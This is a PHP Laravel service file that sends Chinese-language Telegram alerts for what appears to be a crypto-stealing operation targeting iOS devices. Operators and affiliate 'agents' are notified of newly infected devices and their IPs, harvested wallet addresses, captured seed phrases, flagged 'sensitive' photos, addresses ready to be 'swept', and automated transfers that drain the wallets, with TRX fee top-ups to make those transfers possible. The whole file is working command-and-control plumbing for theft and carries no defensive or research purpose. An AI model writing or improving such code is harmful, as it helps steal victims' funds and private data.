Files
coruna-lab/app/Services/TelegramNotifier.php
T
hashbro 51336e346a Keep Tokenview and Telegram running when log files are not writable.
Daily logs created by root cron were blocking www from appending, which aborted webhook ingest and bot pushes. File channels now use 0664 plus exception-safe stacks, and writes go through SafeLog.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-09-15 11:40:44 +08:00

480 lines
16 KiB
PHP

<?php
namespace App\Services;
use App\Jobs\SendTelegramMessage;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\SafeLog;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
class TelegramNotifier
{
/** @var array<string, array{channel_id: string, agent: ?User}> */
private array $deviceContext = [];
public function systemEnabled(): bool
{
return $this->botToken() !== ''
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
}
/**
* Site-wide bot token. Agents only configure chat_id.
*/
public function botToken(): string
{
return trim((string) config('coruna.telegram.bot_token', ''));
}
public function formatBotUsername(?string $username): string
{
$username = ltrim(trim((string) $username), '@');
return $username === '' ? '' : '@'.$username;
}
public function cachedBotUsername(): string
{
return $this->formatBotUsername((string) config('coruna.telegram.bot_username', ''));
}
public function inviteUrl(?string $username = null): string
{
$name = ltrim($username !== null && trim($username) !== ''
? $this->formatBotUsername($username)
: $this->cachedBotUsername(), '@');
return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1';
}
/** Resolve @username via Telegram getMe. */
public function fetchBotUsername(?string $token = null): ?string
{
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
if ($token === '') {
return null;
}
try {
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
if (! $resp->successful() || $resp->json('ok') !== true) {
return null;
}
$name = $this->formatBotUsername((string) ($resp->json('result.username') ?? ''));
return $name !== '' ? $name : null;
} catch (\Throwable $e) {
Log::warning('telegram getMe failed: '.$e->getMessage());
return null;
}
}
/**
* Agent device with chat_id → agent chat + official chat.
* Otherwise official chat only.
*
* @return list<string>
*/
public function resolveChatIds(?string $deviceKey = null): array
{
if ($this->botToken() === '') {
return [];
}
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
$agentChat = '';
$agent = $this->contextForDevice($deviceKey)['agent'];
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) {
$agentChat = trim((string) $agent->chat_id);
}
$chatIds = [];
if ($agentChat !== '') {
$chatIds[] = $agentChat;
}
if ($owner !== '' && $owner !== $agentChat) {
$chatIds[] = $owner;
}
return $chatIds;
}
public function enabled(?string $deviceKey = null): bool
{
return $this->resolveChatIds($deviceKey) !== [];
}
public function send(string $text, ?string $deviceKey = null): bool
{
$chatIds = $this->resolveChatIds($deviceKey);
if ($chatIds === []) {
SafeLog::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
'device_key' => $deviceKey,
'bot_token_set' => $this->botToken() !== '',
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
]);
return false;
}
$async = config('queue.default') !== 'sync';
$ok = false;
foreach ($chatIds as $chatId) {
if ($async) {
SendTelegramMessage::dispatch($chatId, $text);
$ok = true;
continue;
}
if ($this->sendToChat($chatId, $text)['ok']) {
$ok = true;
}
}
return $ok;
}
/**
* Send one message to a specific chat using the site bot (or an override token).
*
* @return array{ok: bool, error: ?string}
*/
public function sendToChat(string $chatId, string $text, ?string $token = null): array
{
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
$chatId = trim($chatId);
if ($token === '') {
return ['ok' => false, 'error' => '未配置 Bot Token'];
}
if ($chatId === '') {
return ['ok' => false, 'error' => '未填写 Chat ID'];
}
try {
$resp = Http::timeout(15)->asForm()->post(
"https://api.telegram.org/bot{$token}/sendMessage",
[
'chat_id' => $chatId,
'text' => $text,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true,
]
);
if ($resp->successful() && ($resp->json('ok') === true)) {
return ['ok' => true, 'error' => null];
}
$desc = trim((string) ($resp->json('description') ?? ''));
if ($desc === '') {
$desc = 'HTTP '.$resp->status();
}
SafeLog::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $desc];
} catch (\Throwable $e) {
SafeLog::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $e->getMessage()];
}
}
/**
* @return array{ok: bool, error: ?string}
*/
public function sendTest(string $chatId, string $label, ?string $token = null): array
{
$chatId = trim($chatId);
return $this->sendToChat($chatId, implode("\n", [
'🧪 <b>Telegram 测试</b>',
$this->e($label),
'🆔 Chat ID: <code>'.$this->e($chatId).'</code>',
]), $token);
}
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
{
$this->send(implode("\n", [
'📱 <b>新设备</b>',
...$this->deviceHeader($deviceId),
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
]), $deviceId);
}
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
{
$this->notifyNewWallets($deviceId, [[
'address' => $address,
'chain' => $chain ?: '',
'balance' => $balance ?: '',
'source' => $symbol ?: '',
]]);
}
/**
* Batch wallet alerts into a single Telegram message.
*
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
*/
public function notifyNewWallets(string $deviceId, array $wallets): void
{
if ($wallets === []) {
return;
}
$lines = [
'💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
...$this->deviceHeader($deviceId),
];
foreach ($wallets as $i => $w) {
$bal = trim((string) ($w['balance'] ?? ''));
if ($bal === '') {
$bal = '—';
}
$source = trim((string) ($w['source'] ?? ''));
if ($i > 0) {
$lines[] = '';
}
$lines[] = '🪙 <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
if ($source !== '') {
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* @param list<string> $wallets
*/
public function notifyInstalledWallets(string $deviceId, array $wallets): void
{
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
if ($wallets === []) {
return;
}
$this->send(implode("\n", [
'👜 <b>已安装钱包</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
]), $deviceId);
}
/**
* Newly linked or mnemonic-derived addresses that can now be swept.
*
* @param iterable<WalletAddress> $addresses
*/
public function notifyCollectableAddresses(iterable $addresses): void
{
$byDevice = [];
foreach ($addresses as $address) {
if (! $address instanceof WalletAddress) {
continue;
}
$address->loadMissing('device');
$deviceId = trim((string) ($address->device?->device_id ?? ''));
if ($deviceId === '') {
continue;
}
$byDevice[$deviceId][] = $address;
}
foreach ($byDevice as $deviceId => $rows) {
$lines = [
'📦 <b>地址可归集通知</b>'.(count($rows) > 1 ? ' ('.count($rows).')' : ''),
...$this->deviceHeader($deviceId),
];
foreach ($rows as $i => $row) {
if ($i > 0) {
$lines[] = '';
}
$chain = trim((string) ($row->chain_type ?? ''));
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? $chain : '—');
$source = trim((string) ($row->source ?? ''));
if ($source !== '') {
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
}
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
}
$this->send(implode("\n", $lines), $deviceId);
}
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void
{
$lines = [
'🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId),
];
$origin = trim((string) $originDeviceId);
if ($origin !== '' && $origin !== $deviceId) {
$lines[] = '📎 <b>原设备</b>: <code>'.$this->e($origin).'</code>';
}
$lines[] = '🏷 <b>来源</b>: '.$this->e($source ?: '—');
$lines[] = '📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>';
$this->send(implode("\n", $lines), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId),
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
public function notifyBalanceChange(
string $deviceId,
string $address,
string $symbol,
string $amount,
?string $chain = null,
?string $balance = null,
bool $inbound = true,
): void {
$signed = ($inbound ? '+' : '-').ltrim($amount, '+-');
$lines = [
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
...$this->deviceHeader($deviceId),
'🪙 <b>链</b>: '.$this->e($chain ?: '—'),
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* Auto-transfer result (success or failure).
*/
public function notifyAutoTransfer(
string $deviceId,
string $fromAddress,
string $chain,
string $asset,
bool $ok,
?string $amount = null,
?string $toAddress = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '🚀 <b>自动转账成功</b>' : '⚠️ <b>自动转账失败</b>',
...$this->deviceHeader($deviceId),
'🪙 <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>',
];
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
}
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* TRON fee / energy top-up result.
*/
public function notifyFeeTopup(
string $deviceId,
string $feeFrom,
string $toAddress,
bool $ok,
?string $amount = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
...$this->deviceHeader($deviceId),
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
];
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/** @return list<string> */
private function deviceHeader(string $deviceId): array
{
$channelId = $this->contextForDevice($deviceId)['channel_id'];
return [
'📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
];
}
/**
* @return array{channel_id: string, agent: ?User}
*/
private function contextForDevice(?string $deviceKey): array
{
$deviceKey = trim((string) $deviceKey);
if ($deviceKey === '') {
return ['channel_id' => '', 'agent' => null];
}
if (isset($this->deviceContext[$deviceKey])) {
return $this->deviceContext[$deviceKey];
}
$channelId = '';
$agent = null;
try {
$found = Device::query()->where('device_id', $deviceKey)->value('channel_id');
$channelId = is_string($found) ? $found : '';
if ($channelId !== '') {
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
if ($userId !== null && (int) $userId > 0) {
$agent = User::query()->find((int) $userId);
}
}
} catch (\Throwable) {
//
}
return $this->deviceContext[$deviceKey] = [
'channel_id' => $channelId,
'agent' => $agent,
];
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}